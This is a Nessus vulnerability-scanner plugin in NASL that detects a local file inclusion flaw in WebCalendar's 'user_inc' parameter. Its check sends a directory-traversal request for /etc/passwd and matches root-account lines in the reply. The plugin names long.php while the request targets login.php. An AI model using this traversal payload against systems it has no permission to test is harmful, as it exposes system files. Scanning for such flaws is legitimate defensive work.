WebCalendar long.php user_inc Parameter Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(11794);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/06/01");
  script_bugtraq_id(8237);

  script_name(english:"WebCalendar long.php user_inc Parameter Traversal Arbitrary File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server has a PHP script that is affected by a local
file include flaw.");
  script_set_attribute(attribute:"description", value:
"The remote installation of WebCalendar may allow an attacker to read
arbitrary files on the remote host by supplying a filename to the
'user_inc' argument of the file 'long.php'.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/329793");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/330521/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"http://sourceforge.net/forum/forum.php?thread_id=901234&forum_id=11588");
  script_set_attribute(attribute:"solution", value:
"Upgrade to WebCalendar 0.9.42 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"plugin_publication_date", value:"2003/07/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2003-2022 Tenable Network Security, Inc.");

  script_dependencies("webcalendar_detect.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);



# Test an install.
install = get_kb_item(string("www/", port, "/webcalendar"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
 dir = matches[2];

 w = http_send_recv3(method:"GET", port: port,
   item:string(dir, "/login.php?user_inc=../../../../../../../../../../../../../../../etc/passwd"));
 if (isnull(w)) exit(0);
 res = w[2];
 if(egrep(pattern:"root:.*:0:[01]:.*:", string:res))
 {
 	security_warning(port);
	exit(0);
 }
}